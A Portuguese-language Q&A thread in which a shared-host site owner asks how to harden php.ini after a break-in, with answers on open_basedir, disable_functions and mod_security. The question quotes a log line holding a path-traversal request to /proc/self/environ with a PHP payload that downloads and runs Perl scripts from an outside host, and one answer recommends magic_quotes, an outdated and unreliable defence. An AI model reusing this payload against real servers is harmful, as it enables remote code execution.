Configurando o php.ini para evitar ataques

Question

Eu fui atacado em um servidor host compartilhado (heartinternet) e eles disseram que eu deveria configurar meu próprio arquivo php.ini corretamente.

Bem, eu tenho um pequeno programa php / MySQL com uma função de registro, um pequeno site de administração, mas alguém o hackeou.

Qual é o modo geral de configurar um arquivo php.ini para evitar ataques como este? Qualquer bom ajuste seria muito apreciado.

Veja o que recebi do provedor de hospedagem:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.

A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the web-site will need testing afterwards to ensure that no legitimate web-site scripted actions have been affected by the change:

The php.ini directives are...

allow_url_include = "0"
allow_url_fopen = "0"

    

Answer 1

Não está claro que qualquer uma dessas diretivas tenha bloqueado esse ataque. A maneira como o ataque funcionou não foi por include() ing ou fopen() ing uma URL remota, ele contou com a capacidade de enganar seu código em include() ing /proc/self/environ , que é um arquivo contendo as variáveis de ambiente do processo. A solicitação envenenou essas variáveis de ambiente com o código de exploração real, e o exploit real baixou e executou um script perl que fez o trabalho sujo.

Estabelecer uma configuração open_basedir que permita ao seu código abrir apenas arquivos em diretórios específicos teriam bloqueado o ataque this , mas em geral, programas que executam scripts baseados em entradas do usuário sem muito controles rigorosos têm dezenas de maneiras de serem atacados, especialmente se permitirem conteúdo enviado por usuários, como fotos ou qualquer outra coisa.

Manter o código do seu site atualizado também é importante. Especialmente desde que esse exploit afeta o Joomla desde pelo menos último mês de março

    

Answer 2

quando também pode evitar usando magic_quotes_gpc = On e magic_quotes_runtime = Ativado no seu php.ini. devido a isso, escape automaticamente de todos '(aspas simples), "(aspas duplas), \ (barra invertida) e NUL's com uma barra invertida para GET, POST e cookies enviados.

    

Answer 3

Se você está perguntando como evitar exatamente esse ataque, o que você precisa desativar é a função passthru no php.ini. Se você tem o privilégio de carregar seu arquivo php.ini personalizado, você pode desabilitar algumas funções php perigosas, como exec (a menos que seu script precise), colocando as funções apropriadas na lista de funções de desabilitação do php.

disable_functions=passthru,exec,phpinfo

Não há um conjunto específico de função de desativação que você possa usar aqui (se houver, então os desenvolvedores do php nunca o teriam incluído no php :)). Tudo depende das funções do PHP que você usa e não usa. Então, consulte o manual do php e adicione qualquer comando / função do sistema que invoque funções php que não sejam usadas no script do seu site para a lista disable_functions.

Além disso, peça ao seu host para instalar o & configure mod_security que não apenas protegerá seu domínio, mas todos os demais no ambiente compartilhado. O mod_security é um maravilhoso firewall de aplicações web que irá ajudá-lo a proteger os sites contra uma série de ataques web, incluindo injeção de html, injeção de sql, ataques de XSS ... etc. A partir dos detalhes do ataque, o invasor está fazendo o upload do script perl para / tmp, que provavelmente é uma ameaça para o servidor inteiro e não se limita apenas ao seu domínio / conta.

    

Answer 4

Veja aqui: link Leia a página inteira.